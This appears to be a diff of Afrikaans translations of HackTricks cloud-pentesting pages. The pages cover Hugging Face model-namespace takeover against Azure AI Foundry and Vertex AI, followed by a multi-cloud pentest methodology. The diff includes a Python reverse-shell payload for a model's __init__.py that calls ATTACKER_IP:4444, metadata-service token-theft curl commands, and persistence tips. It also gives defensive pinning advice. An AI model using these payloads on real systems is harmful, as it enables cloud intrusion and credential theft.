- AI Foundry-implementasies wat HF integreer, kloon tipies en importeer repo-modules wat in die model se konfig verwys word (bv. auto_map), wat kode-uitvoering kan ontlok. Sommige paaie vereis trust_remote_code=True.
|
||||
- Toegang stem gewoonlik ooreen met die endpoint se managed identity/service principal-permissies. Beskou dit as 'n aanvanklike toegangspunt vir data-toegang en laterale beweging binne Azure.
|
||||
|
||||
## Post-Exploitation Tips (Azure Endpoint)
|
||||
|
||||
- Enumereer omgewingsveranderlikes en MSI endpoints vir tokens:
|
||||
- Som omgewingsveranderlikes en MSI-endpunte op vir tokens:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- Kontroleer mounted storage, model artifacts, en bereikbare Azure-dienste met die verkrygde token.
|
||||
- Oorweeg persistence deur poisoned model artifacts agter te laat as die platform weer vanaf HF re-pulls.
|
||||
- Kontroleer gemonteerde opslag, modelartefakte en toeganklike Azure-dienste met die verkrygde token.
|
||||
- Oorweeg persistence deur poisoned model artifacts te laat as die platform weer vanaf HF re-pulls.
|
||||
|
||||
## Verdedigingsriglyne vir gebruikers van Azure AI Foundry
|
||||
## Verdedigende riglyne vir Azure AI Foundry-gebruikers
|
||||
|
||||
- Pin models by commit wanneer vanaf HF gelaai word:
|
||||
- Pin modelle per commit wanneer vanaf HF gelaai word:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Spieël geverifieerde HF-modelle na 'n betroubare interne register en implementeer daarvandaan.
|
||||
- Skandeer deurlopend kodebasisse en defaults/docstrings/notebooks vir hard-coded Author/ModelName wat verwyder of oorgedra is; werk dit by of pin dit.
|
||||
- Valideer die bestaan van die auteur en die herkoms van die model voor implementering.
|
||||
- Spieël geverifieerde HF models na 'n betroubare interne register en ontplooi vanaf daar.
|
||||
- Skandeer deurlopend codebases en defaults/docstrings/notebooks vir hardgekodeerde Author/ModelName wat verwyder of oorgedra is; werk dit by of pin dit.
|
||||
- Valideer die bestaan van die author en die modelprovenansie voordat jy ontplooi.
|
||||
|
||||
## Herkenningsheuristieke (HTTP)
|
||||
|
||||
- Verwyderde auteur: auteurbladsy 404; legacy modelpad 404 totdat dit oorgeneem word.
|
||||
- Oorgedra model: legacy-pad 307 na nuwe auteur terwyl die ou auteur bestaan; as die ou auteur later verwyder en weer geregistreer word, bedien die legacy-pad inhoud van 'n aanvaller.
|
||||
- Verwyderde author: author page 404; legacy model path 404 totdat oorneming plaasvind.
|
||||
- Oorgedra model: legacy path 307 na nuwe author terwyl die ou author bestaan; as die ou author later verwyder en weer geregistreer word, dien die legacy path inhoud van die aanvaller.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
|
||||
@@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Senario
|
||||
## Scenario
|
||||
|
||||
- Vertex AI Model Garden maak die direkte ontplooiing van baie Hugging Face (HF) models moontlik.
|
||||
- HF model identifiers are Author/ModelName. As 'n author/org op HF verwyder word, kan dieselfde author-naam deur enigiemand weer geregistreer word. Attackers kan dan 'n repo met dieselfde ModelName op die legacy path skep.
|
||||
- Pipelines, SDKs, or cloud catalogs wat slegs per naam haal (no pinning/integrity) sal die attacker-controlled repo trek. Wanneer die model ontplooi word, kan loader code vanaf daardie repo binne die Vertex AI endpoint-container uitgevoer word, wat RCE met die endpoint se permissies oplewer.
|
||||
- Vertex AI Model Garden laat toe dat baie Hugging Face (HF) models direk gedeploy word.
|
||||
- HF model identifiers is Author/ModelName. As ’n author/org op HF verwyder word, kan dieselfde author-naam deur enigiemand herregistreer word. Aanvallers kan dan ’n repo met dieselfde ModelName by die ou pad skep.
|
||||
- Pipelines, SDKs, of cloud-kataloge wat net per naam haal (geen pinning/integrity) sal die aanvaller-beheerde repo trek. Wanneer die model gedeploy word, kan loader-code uit daardie repo binne die Vertex AI endpoint container uitgevoer word, wat RCE met die endpoint se toestemming moontlik maak.
|
||||
|
||||
Twee algemene takeover-gevalle op HF:
|
||||
- Ownership deletion: Ou pad 404 totdat iemand die author weer registreer en dieselfde ModelName publiseer.
|
||||
- Ownership transfer: HF issue 307 redirects vanaf die ou Author/ModelName na die nuwe author. As die ou author later verwyder en deur 'n attacker herregistreer word, word die redirect-ketting gebreek en die attacker se repo bedien by die legacy path.
|
||||
Twee algemene oorname-gevalle op HF:
|
||||
- Ownership deletion: Ou pad 404 totdat iemand die author herregistreer en dieselfde ModelName publiseer.
|
||||
- Ownership transfer: HF gee 307 redirects vanaf die ou Author/ModelName na die nuwe author. As die ou author later verwyder en deur ’n aanvaller herregistreer word, word die redirect-ketting gebreek en dien die aanvaller se repo by die ou pad.
|
||||
|
||||
## Identifisering van herbruikbare namespaces (HF)
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
|
||||
- Ou author verwyder: die bladsy vir die author gee 404 terug; die model pad mag 404 teruggee totdat takeover.
|
||||
- Transferred models: die ou model pad issue 307 na die nuwe owner terwyl die ou author bestaan. As die ou author later verwyder en weer geregistreer word, sal die legacy path na die attacker se repo oplos.
|
||||
- Old author deleted: die bladsy vir die author gee 404 terug; model-pad kan 404 teruggee totdat daar ’n oorname is.
|
||||
- Transferred models: die ou model-pad gee 307 terug na die nuwe eienaar terwyl die ou author nog bestaan. As die ou author later verwyder en herregistreer word, sal die ou pad na die aanvaller se repo wys.
|
||||
|
||||
Vinnige kontroles met curl:
|
||||
Quick checks with curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## End-to-end aanvalsvloei teen Vertex AI
|
||||
## Einde-tot-einde Aanvalsverloop teen Vertex AI
|
||||
|
||||
1) Ontdek herbruikbare model namespaces wat Model Garden as deployable gelys:
|
||||
1) Ontdek herbruikbare model-naamruimtes wat Model Garden lys as deployable:
|
||||
- Vind HF-modelle in Vertex AI Model Garden wat steeds as “verified deployable” vertoon.
|
||||
- Verifieer op HF of die oorspronklike author uitgevee is, of die model oorgedra is en die ou author later verwyder is.
|
||||
- Verifieer op HF of die oorspronklike auteur verwyder is of of die model oorgedra is en die ouer auteur later verwyder is.
|
||||
|
||||
2) Herregistreer die uitgevee author op HF en skep dieselfde ModelName weer.
|
||||
2) Herregistreer die verwyderde auteur weer op HF en skep dieselfde ModelName opnuut.
|
||||
|
||||
3) Publiseer 'n kwaadwillige repo. Sluit kode in wat by die model se laai uitgevoer word. Voorbeelde wat algemeen tydens HF model load uitgevoer word:
|
||||
- Side effects in __init__.py of the repo
|
||||
- Aangepaste modeling_*.py of processing code wat deur config/auto_map verwys word
|
||||
- Kodepade wat trust_remote_code=True in Transformers pipelines vereis
|
||||
3) Publiseer 'n kwaadwillige repo. Sluit kode in wat by model load uitgevoer word. Voorbeelde wat algemeen tydens HF model load uitgevoer word:
|
||||
- By-effekte in __init__.py van die repo
|
||||
- Aangepaste modeling_*.py of verwerkingskode wat in config/auto_map verwys word
|
||||
- Kodepaaie wat trust_remote_code=True in Transformers pipelines vereis
|
||||
|
||||
4) 'n Vertex AI deployment van die legacy Author/ModelName trek nou die attacker repo. Die loader word binne die Vertex AI endpoint container uitgevoer.
|
||||
4) 'n Vertex AI deployment van die legacy Author/ModelName trek nou die aanvaller se repo. Die loader voer binne die Vertex AI endpoint-container uit.
|
||||
|
||||
5) Die payload vestig toegang vanaf die endpoint-omgewing (RCE) met die endpoint se permissies.
|
||||
5) Payload vestig toegang vanaf die endpoint-omgewing (RCE) met die endpoint se toestemmings.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
Voorbeeld van 'n payload-fragment wat by import uitgevoer word (slegs vir demonstrasie):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Aantekeninge
|
||||
- In die werklike lewe verskil loaders. Baie Vertex AI HF integrations kloon en importeer repo modules wat in die model se config verwys word (bv. auto_map), wat code execution kan trigger. Sommige gebruiksgevalle vereis trust_remote_code=True.
|
||||
- Die endpoint hardloop tipies in ’n toegewyde container met beperkte omvang, maar dit is ’n geldige aanvanklike foothold vir data-toegang en laterale beweging in GCP.
|
||||
- Werklike loaders verskil. Baie Vertex AI HF-integrasies kloon en importeer repo-modules wat in die model’s config verwys word (bv. auto_map), wat code execution kan uitlok. Sommige gebruiksgevalle vereis trust_remote_code=True.
|
||||
- Die endpoint loop tipies in 'n toegewyde container met beperkte omvang, maar dit is 'n geldige aanvanklike foothold vir data toegang en lateral movement in GCP.
|
||||
|
||||
## Post-Exploitation Wenke (Vertex AI Endpoint)
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Sodra code binne die endpoint container loop, oorweeg:
|
||||
- Enumereer environment variables en metadata vir credentials/tokens
|
||||
- Toegang tot aangehegte storage of mounted model artifacts
|
||||
- Interageer met Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistensie in die model artifact indien die platform die repo weer herlaai
|
||||
- Enumereer omgewingsveranderlikes en metadata vir credentials/tokens
|
||||
- Toegang tot aangehegte storage of gemonteerde model artifacts
|
||||
- Interaksie met Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistensie in die model artifact as die platform die repo weer intrek
|
||||
|
||||
Enumereer instance metadata indien toeganklik (container-afhanklik):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Verdedigende riglyne vir Vertex AI-gebruikers
|
||||
## Verdedigingsriglyne vir Vertex AI-gebruikers
|
||||
|
||||
- Pin modelle per commit in HF loaders om stille vervanging te voorkom:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Spieël geverifieerde HF-modelle na 'n betroubare interne artefakstoor/registrasie en ontplooi van daar.
|
||||
- Skandeer voortdurend codebases en configs vir hard-gekodeerde Author/ModelName wat verwyder of oorgedra is; werk na nuwe namespaces of pin per commit.
|
||||
- In Model Garden, verifieer modelherkoms en die bestaan van die skrywer voordat ontplooiing plaasvind.
|
||||
- Spieël geverifieerde HF-modelle na 'n betroubare interne artifact store/registry en ontplooi van daar.
|
||||
- Deurlopend skandeer codebases en configs vir hard-coded Author/ModelName wat verwyder of oorgedra is; werk dit by na nuwe namespaces of pin dit per commit.
|
||||
- In Model Garden, verifieer die model se herkoms en die bestaan van die author voor ontplooiing.
|
||||
|
||||
## Herkenningsheuristieke (HTTP)
|
||||
|
||||
- Verwyderde skrywer: skrywersbladsy 404; erfenis modelpad 404 tot oorname.
|
||||
- Oorgedra model: erfenispad 307 na nuwe skrywer terwyl die ou skrywer nog bestaan; as die ou skrywer later verwyder en weer geregistreer word, dien die erfenispad aanvallerinhoud.
|
||||
- Verwyderde author: author page 404; legacy model path 404 totdat oorneem plaasvind.
|
||||
- Oorgedra model: legacy path 307 na nuwe author terwyl die ou author bestaan; as die ou author later verwyder en weer geregistreer word, bedien die legacy path aanvaller-inhoud.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Kruisverwysings
|
||||
|
||||
- Sien breër metodologie- en voorsieningskettingnotas:
|
||||
- Sien die breër metodologie- en voorsieningskettingnotas:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting Cloud Methodology
|
||||
# Pentesting Cloud Metodologie
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,35 +6,35 @@
|
||||
|
||||
## Basiese Metodologie
|
||||
|
||||
Elke cloud het sy eie eienaardighede maar oor die algemeen is daar 'n paar **gemeenskaplike dinge wat 'n pentester moet nagaan** wanneer 'n cloud-omgewing getoets word:
|
||||
Elke cloud het sy eie eienaardighede maar oor die algemeen is daar 'n paar **gemeenskaplike dinge wat 'n pentester moet kontroleer** wanneer 'n cloud-omgewing getoets word:
|
||||
|
||||
- **Benchmark kontroles**
|
||||
- Dit sal jou help om die **grootte van die omgewing** en die **gebruikte dienste** te verstaan
|
||||
- Dit sal jou ook toelaat om 'n paar **vinnige miskonfigurasies** te vind aangesien jy die meeste van hierdie toetse met **geoutomatiseerde gereedskap** kan uitvoer
|
||||
- **Services Enumeration**
|
||||
- Jy sal waarskynlik nie baie meer miskonfigurasies hier vind as jy die benchmark-toetse korrek uitgevoer het nie, maar jy kan dalk sommige vind wat nie in die benchmark-toets nagegaan is nie.
|
||||
- Dit sal jou toelaat om te weet **wat presies in die cloud-omgewing gebruik word**
|
||||
- Dit sal jou help om die **grootte** van die omgewing en watter **dienste gebruik word** te verstaan
|
||||
- Dit sal jou ook toelaat om vinnige **miskonfigurasies** te vind aangesien jy die meeste van hierdie toetse met **outomatiese tools** kan uitvoer
|
||||
- **Dienste-enumerasie**
|
||||
- Jy sal waarskynlik nie baie meer miskonfigurasies hier vind as jy die benchmark-toetse korrek uitgevoer het nie, maar jy mag sommige vind wat nie in die benchmark-toets gesoek is nie.
|
||||
- Dit sal jou toe laat weet **wat presies in die cloud-omgewing gebruik word**
|
||||
- Dit sal baie help in die volgende stappe
|
||||
- **Kontroleer blootgestelde assets**
|
||||
- Dit kan gedoen word tydens die vorige afdeling; jy moet **uitvind alles wat potensieel blootgestel is** aan die Internet op een of ander manier en hoe dit benader kan word.
|
||||
- Hier bedoel ek **manueel blootgestelde infrastruktuur** soos instances met webblaaie of ander poorte wat blootgestel is, en ook ander **cloud managed services wat gekonfigureer kan word** om blootgestel te word (soos DBs of buckets)
|
||||
- Dan moet jy nagaan **of daardie hulpbron blootgestel kan word of nie** (konfidensiële inligting? vulnerabilities? miskonfigurasies in die blootgestelde diens?)
|
||||
- Dit kan tydens die vorige afdeling gedoen word; jy moet **alles vind wat moontlik aan die Internet blootgestel is** en hoe dit toegang verkry.
|
||||
- Hier verwys ek na **manueel blootgestelde infrastruktuur** soos instances met webbladsye of ander poorte wat blootgestel is, en ook ander **cloud managed services wat gekonfigureer kan word** om blootgestel te wees (soos DBs of buckets)
|
||||
- Dan moet jy kontroleer **of daardie hulpbron blootgestel kan word of nie** (vertroulike inligting? kwesbaarhede? miskonfigurasies in die blootgestelde diens?)
|
||||
- **Kontroleer permissies**
|
||||
- Hier moet jy **uitvind al die permissies van elke rol/gebruiker** binne die cloud en hoe dit gebruik word
|
||||
- Te **baie hoogs geprivilegieerde** (beheer alles) rekeninge? Gegenereerde sleutels nie gebruik nie? ... Die meeste van hierdie kontroles behoort reeds in die benchmark-toetse gedoen te wees
|
||||
- As die kliënt OpenID of SAML of ander **federation** gebruik, moet jy hulle dalk vra vir verdere **inligting** oor **hoe elke rol toegewys word** (dit is nie dieselfde dat die admin-rol aan 1 gebruiker of aan 100 toegeken is nie)
|
||||
- Dit is **nie genoeg om te vind** watter gebruikers **admin** permissies "*:*" het nie. Daar is baie **ander permissies** wat, afhangende van die dienste wat gebruik word, baie **sensitief** kan wees.
|
||||
- Boonop is daar **potensiële privesc** maniere om te volg deur permissies te misbruik. Al hierdie dinge moet in ag geneem word en **soveel privesc-paaie as moontlik** moet gerapporteer word.
|
||||
- Hier moet jy **al die permissies van elke role/user** binne die cloud uitvind en hoe dit gebruik word
|
||||
- Te **veel hoogs bevoorregte** (kontroleer alles) rekeninge? Genereerde sleutels wat nie gebruik word?... Die meeste van hierdie kontroles behoort reeds in die benchmark-toetse gedek te wees
|
||||
- As die kliënt OpenID of SAML of ander **federasie** gebruik, mag jy hulle moet vra vir verdere **inligting** oor **hoe elke rol toegewys word** (dit is nie dieselfde dat die admin rol aan 1 gebruiker toegewys is of aan 100 nie)
|
||||
- Dit is **nie genoeg om te vind** watter gebruikers **admin** permissies het "\*:\*". Daar is 'n groot aantal **ander permissies** wat, afhangende van die gebruikte dienste, baie **sensitief** kan wees.
|
||||
- Verder is daar **potensiële privesc** maniere om te volg deur permissies te misbruik. Al hierdie dinge moet in ag geneem word en **soveel privesc-paadjies as moontlik** moet gerapporteer word.
|
||||
- **Kontroleer Integrasies**
|
||||
- Dit is hoogs waarskynlik dat **integrasies met ander clouds of SaaS** binne die cloud-omgewing gebruik word.
|
||||
- Vir **integrations of the cloud you are auditing** met ander platform, moet jy kennis gee wie toegang het om daardie integrasie te (ab)use en jy moet vra hoe **sensitief** die aksie is wat uitgevoer word.\
|
||||
Byvoorbeeld, wie kan skryf in 'n AWS bucket waar GCP data vandaan kry (vra hoe sensitief die aksie is in GCP wanneer daardie data verwerk word).
|
||||
- Vir **integrations inside the cloud you are auditing** vanaf eksterne platforms, moet jy vra **wie ekstern toegang het om daardie integrasie te (ab)use** en nagaan hoe daardie data gebruik word.\
|
||||
Byvoorbeeld, as 'n diens 'n Docker image gebruik wat in GCR gehuisves is, moet jy vra wie toegang het om dit te wysig en watter sensitiewe inligting en toegang daardie image sal kry wanneer dit binne 'n AWS cloud uitgevoer word.
|
||||
- Vir **integrasies van die cloud wat jy oudit** met ander platforms moet jy aanmeld **wie toegang het om daardie integrasie te (mis)bruik** en jy moet vra **hoe sensitief** die aksie is wat uitgevoer word.\
|
||||
Byvoorbeeld, wie kan in 'n AWS bucket skryf waarheen GCP data kry (vra hoe sensitief die aksie in GCP is met betrekking tot daardie data).
|
||||
- Vir **integrasies binne die cloud wat jy oudit** vanaf eksterne platforms, moet jy vra **wie ekstern toegang het om daardie integrasie te (mis)bruik** en kontroleer hoe daardie data gebruik word.\
|
||||
Byvoorbeeld, as 'n diens 'n Docker image gebruik wat in GCR gehost word, moet jy vra wie dit kan wysig en watter sensitiewe inligting en toegang daardie image sal kry wanneer dit binne 'n AWS cloud uitgevoer word.
|
||||
|
||||
## Multi-Cloud gereedskap
|
||||
|
||||
Daar is verskeie gereedskap wat gebruik kan word om verskillende cloud-omgewings te toets. Die installasiestappe en skakels sal in hierdie afdeling aangedui word.
|
||||
Daar is verskeie tools wat gebruik kan word om verskillende cloud-omgewings te toets. Die installasiestappe en links gaan in hierdie afdeling aangedui word.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Dit ondersteun **AWS, GCP & Azure**. Kyk hoe om elke provider te konfigureer by [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
Dit ondersteun **AWS, GCP & Azure**. Sien hoe om elke verskaffer te konfigureer by [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -146,7 +146,7 @@ done
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
Laai Steampipe af en installeer dit ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Of gebruik Brew:
|
||||
Laai en installeer Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Of gebruik Brew:
|
||||
```
|
||||
brew tap turbot/tap
|
||||
brew install steampipe
|
||||
@@ -170,7 +170,7 @@ steampipe check all
|
||||
|
||||
<summary>Kontroleer alle Projekte</summary>
|
||||
|
||||
Om al die projekte te kontroleer, moet jy die `gcp.spc`-lêer genereer wat al die projekte aandui wat getoets moet word. Jy kan net die instruksies van die volgende script volg
|
||||
Om al die projekte te kontroleer, moet jy die `gcp.spc`-lêer genereer wat al die projekte aandui om te toets. Volg net die aanwysings in die volgende skrip.
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
Om **ander GCP-insigte** te kontroleer (nuttig vir die enumerering van dienste) gebruik: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
Om **ander GCP-insigte** te sien (nuttig om dienste te lys) gebruik: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Om Terraform GCP code te kontroleer: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
Om Terraform GCP-kode te kontroleer: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
Meer GCP-plugins van Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
Meer GCP-plugins vir Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
|
||||
steampipe dashboard # To see results in browser
|
||||
steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
Om Terraform AWS-kode te kontroleer: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
Meer AWS-plugins vir Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
|
||||
|
||||
AWS, GCP, Azure, DigitalOcean.\
|
||||
Dit vereis python2.7 en lyk ononderhou.
|
||||
Dit vereis python2.7 en lyk of dit nie meer onderhou word nie.
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus het 'n _**Audit Cloud Infrastructure**_ scan wat ondersteun: AWS, Azure, Office 365, Rackspace, Salesforce. Sommige ekstra konfigurasies in **Azure** is nodig om 'n **Client Id** te bekom.
|
||||
Nessus het 'n _**Audit Cloud Infrastructure**_ scan wat die volgende ondersteun: AWS, Azure, Office 365, Rackspace, Salesforce. 'n Paar ekstra konfigurasies in **Azure** is nodig om 'n **Client Id** te bekom.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Cloudlist is 'n **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) vanaf Cloud Providers.
|
||||
Cloudlist is 'n **multi-cloud tool om Assets te kry** (Hostnames, IP Addresses) van Cloud Providers.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography is 'n Python-hulpmiddel wat infrastruktuur-bates en die verhoudings tussen hulle konsolideer in 'n intuïtiewe grafiese aansig wat deur 'n Neo4j-databasis aangedryf word.
|
||||
Cartography is 'n Python-gereedskap wat infrastruktuurbates en die verhoudings tussen hulle konsolideer in 'n intuïtiewe grafiek-oorsig wat aangedryf word deur 'n Neo4j-databasis.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbase versamel bates en verhoudings van dienste en stelsels, insluitend cloud infrastruktuur, SaaS-toepassings, sekuriteitskontroles en meer, in 'n intuïtiewe grafiek-uitsig wat deur die Neo4j-databasis ondersteun word.
|
||||
Starbase versamel bates en verhoudings vanaf dienste en stelsels, insluitend wolk-infrastruktuur, SaaS-toepassings, sekuriteitskontroles en meer, in 'n intuïtiewe grafiek-uitsig wat deur die Neo4j-databasis ondersteun word.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Ontdek die gebruikers met die hoogste voorregte in die gescande AWS- of Azure-omgewing, insluitend die AWS Shadow Admins. Dit gebruik powershell.
|
||||
Ontdek die mees bevoorregte gebruikers in die gescande AWS of Azure omgewing, insluitend die AWS Shadow Admins. Dit gebruik powershell.
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,11 +372,11 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
'n gereedskap om 'n maatskappy (teiken) se infrastruktuur, lêers en apps op die top cloud-aanbieders (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) te vind.
|
||||
'n hulpmiddel om 'n maatskappy se (teiken) infrastruktuur, lêers en toepassings op die top cloud-providers te vind (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox is 'n gereedskap om exploitable attack paths in cloud infrastructure te vind (tans slegs AWS & Azure ondersteun met GCP binnekort).
|
||||
- CloudFox is 'n hulpmiddel om uitbuitbare aanvalspaaie in cloud infrastruktuur te vind (tans slegs AWS & Azure ondersteun met GCP binnekort).
|
||||
- Dit is 'n enumeration tool wat bedoel is om manuele pentesting aan te vul.
|
||||
- Dit skep of wysig geen data binne die cloud-omgewing nie.
|
||||
|
||||
@@ -412,10 +412,11 @@ azure-security/
|
||||
|
||||
### Attack Graph
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) skep 'n “attack graph” van die resources in 'n Azure subscription. Dit stel red teams en pentesters in staat om die attack surface en pivot opportunities binne 'n tenant te visualiseer, en gee jou defenders 'n reuse hupstoot om vinnig te oriënteer en incident response werk te prioritiseer.
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter)skep 'n “attack graph” van die resources in 'n Azure subscription. Dit stel red teams en pentesters in staat om die attack surface en pivot opportunities binne 'n tenant te visualiseer, en versnel jou verdedigers om vinnig te oriënteer en incident response-werk te prioritiseer.
|
||||
|
||||
### Office365
|
||||
|
||||
Jy het **Global Admin** of ten minste **Global Admin Reader** nodig (maar let wel dat Global Admin Reader ietwat beperk is). Hierdie beperkings verskyn egter in sommige PS modules en kan omseil word deur die funksies via die webtoepassing te gebruik.
|
||||
Jy het **Global Admin** of minstens **Global Admin Reader** nodig (let wel dat Global Admin Reader 'n bietjie beperk is). Hierdie beperkings verskyn egter in sommige PS modules en kan omseil word deur toegang tot die funksies **via the web application**.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user